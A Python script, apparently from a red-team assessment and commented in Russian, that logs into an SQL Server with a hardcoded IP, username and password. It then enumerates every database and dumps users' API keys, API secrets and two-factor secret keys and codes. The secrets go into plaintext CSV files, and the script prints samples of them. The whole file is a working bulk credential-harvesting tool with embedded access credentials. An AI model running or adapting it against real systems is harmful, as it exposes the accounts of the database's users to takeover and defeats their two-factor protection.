#!/usr/bin/env python3 """ Анализ и расшифровка полей: - strEmailDistributionOption (tblEMEntity) — enum, не зашифрован - strApiKey, strApiSecret (tblEMEntityCredential) — проверить шифрование - strTFASecretKey, strTFACurrentCode — TFA секреты """ import subprocess import csv from pathlib import Path import json SERVER = "50.21.183.111" USER = "irely" PASS = "iRely486" OUTPUT_DIR = Path('/root/ir-assessment/redteam/irelydata/decrypted_fields') OUTPUT_DIR.mkdir(exist_ok=True) def sqlcmd(db, query, timeout=60): """Запуск sqlcmd через docker, возврат stdout как текст.""" cmd = [ "docker", "run", "--rm", "--network", "host", "mcr.microsoft.com/mssql/server:2022-latest", "/opt/mssql-tools18/bin/sqlcmd", "-S", SERVER, "-U", USER, "-P", PASS, "-C", "-d", db, "-Q", query, "-s", "|", "-W", "-h", "-1" ] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) return result.stdout, result.stderr except subprocess.TimeoutExpired: return "", "TIMEOUT" # 1. Список всех баз print("=== Получение списка баз ===") stdout, _ = sqlcmd("master", "SET NOCOUNT ON; SELECT name FROM sys.databases " "WHERE name NOT IN ('master','model','msdb','tempdb') ORDER BY name") databases = [line.strip() for line in stdout.strip().splitlines() if line.strip()] print(f"Найдено баз: {len(databases)}") # Исключаем технические databases = [db for db in databases if not db.endswith('cfg') and '\\' not in db and db != 'i21Hangfire' and db != 'container'] print(f"Рабочих баз: {len(databases)}\n") # 2. Статистика по полям stats = { 'email_dist': {'count': 0, 'values': {}}, 'api_key_plain': 0, 'api_key_encrypted': 0, 'api_secret_plain': 0, 'api_secret_encrypted': 0, 'tfa_secret_plain': 0, 'tfa_secret_encrypted': 0, 'tfa_code': 0, } all_api_keys = [] all_tfa = [] print("=== Сбор данных ===") for i, db in enumerate(databases, 1): print(f"[{i}/{len(databases)}] {db}", end=" ", flush=True) # EmailDistributionOption — не зашифрован, считаем значения out, err = sqlcmd(db, "SET NOCOUNT ON; SELECT strEmailDistributionOption FROM tblEMEntity " "WHERE strEmailDistributionOption IS NOT NULL AND strEmailDistributionOption != ''") if err and 'Invalid object' not in err: pass # тихо for val in out.strip().splitlines(): v = val.strip() if v and not v.startswith('-'): stats['email_dist']['count'] += 1 stats['email_dist']['values'][v] = stats['email_dist']['values'].get(v, 0) + 1 # API ключи и TFA out, err = sqlcmd(db, "SET NOCOUNT ON; SELECT intEntityCredentialId, strUserName, " "strApiKey, strApiSecret, strTFASecretKey, strTFACurrentCode, ysnApiDisabled, ysnTFAEnabled " "FROM tblEMEntityCredential " "WHERE strApiKey IS NOT NULL OR strApiSecret IS NOT NULL " "OR strTFASecretKey IS NOT NULL OR strTFACurrentCode IS NOT NULL") if 'Invalid object' in err: print("- (нет таблицы)") continue lines = [l for l in out.strip().splitlines() if l.strip() and not l.startswith('-')] if not lines: print("- (нет данных)") continue api_count = 0 tfa_count = 0 for line in lines: parts = [p.strip() for p in line.split('|')] if len(parts) < 8: continue cid, username, api_key, api_secret, tfa_secret, tfa_code, api_disabled, tfa_enabled = parts[:8] # Классификация: base64 + длина > 50 = зашифровано def looks_encrypted(v): if not v or v == 'NULL': return False if len(v) < 40: return False try: import base64 decoded = base64.b64decode(v) return len(decoded) >= 16 except: return False if api_key and api_key != 'NULL': api_count += 1 if looks_encrypted(api_key): stats['api_key_encrypted'] += 1 else: stats['api_key_plain'] += 1 all_api_keys.append({'db': db, 'id': cid, 'username': username, 'api_key': api_key, 'api_secret': api_secret, 'disabled': api_disabled}) if api_secret and api_secret != 'NULL': if looks_encrypted(api_secret): stats['api_secret_encrypted'] += 1 else: stats['api_secret_plain'] += 1 if tfa_secret and tfa_secret != 'NULL': tfa_count += 1 if looks_encrypted(tfa_secret): stats['tfa_secret_encrypted'] += 1 else: stats['tfa_secret_plain'] += 1 all_tfa.append({'db': db, 'id': cid, 'username': username, 'tfa_secret': tfa_secret, 'tfa_code': tfa_code, 'tfa_enabled': tfa_enabled}) if tfa_code and tfa_code != 'NULL': stats['tfa_code'] += 1 # TFA code обычно не зашифрован (это текущий 6-значный код) if not any(t['db'] == db and t['id'] == cid for t in all_tfa): all_tfa.append({'db': db, 'id': cid, 'username': username, 'tfa_secret': tfa_secret, 'tfa_code': tfa_code, 'tfa_enabled': tfa_enabled}) print(f"✓ api={api_count}, tfa={tfa_count}") # 3. Сохранение print("\n=== Сохранение результатов ===") with open(OUTPUT_DIR / 'stats.json', 'w') as f: json.dump(stats, f, indent=2, ensure_ascii=False) print(f"✓ stats.json") with open(OUTPUT_DIR / 'api_keys_plain.csv', 'w', newline='', encoding='utf-8') as f: w = csv.DictWriter(f, fieldnames=['db', 'id', 'username', 'api_key', 'api_secret', 'disabled']) w.writeheader() w.writerows(all_api_keys) print(f"✓ api_keys_plain.csv ({len(all_api_keys)} записей)") with open(OUTPUT_DIR / 'tfa_plain.csv', 'w', newline='', encoding='utf-8') as f: w = csv.DictWriter(f, fieldnames=['db', 'id', 'username', 'tfa_secret', 'tfa_code', 'tfa_enabled']) w.writeheader() w.writerows(all_tfa) print(f"✓ tfa_plain.csv ({len(all_tfa)} записей)") # 4. Итоги print("\n" + "=" * 60) print("ИТОГИ АНАЛИЗА") print("=" * 60) print(f"\n1. strEmailDistributionOption (НЕ зашифрован, enum):") print(f" Всего значений: {stats['email_dist']['count']}") print(f" Уникальных: {len(stats['email_dist']['values'])}") for v, c in sorted(stats['email_dist']['values'].items(), key=lambda x: -x[1])[:10]: print(f" {c:5d} {v}") print(f"\n2. strApiKey:") print(f" Plaintext (не зашифрованы): {stats['api_key_plain']}") print(f" Encrypted (зашифрованы): {stats['api_key_encrypted']}") print(f"\n3. strApiSecret:") print(f" Plaintext: {stats['api_secret_plain']}") print(f" Encrypted: {stats['api_secret_encrypted']}") print(f"\n4. strTFASecretKey:") print(f" Plaintext: {stats['tfa_secret_plain']}") print(f" Encrypted: {stats['tfa_secret_encrypted']}") print(f"\n5. strTFACurrentCode:") print(f" Значений: {stats['tfa_code']}") if all_api_keys: print(f"\n=== Примеры plaintext API ключей ===") for k in all_api_keys[:5]: print(f" {k['db']:30s} | {k['username']:30s} | key={k['api_key'][:40]}") if all_tfa: print(f"\n=== Примеры plaintext TFA секретов ===") for t in all_tfa[:5]: print(f" {t['db']:30s} | {t['username']:25s} | secret={t['tfa_secret'][:20]} code={t['tfa_code']}") print(f"\nРезультаты: {OUTPUT_DIR}")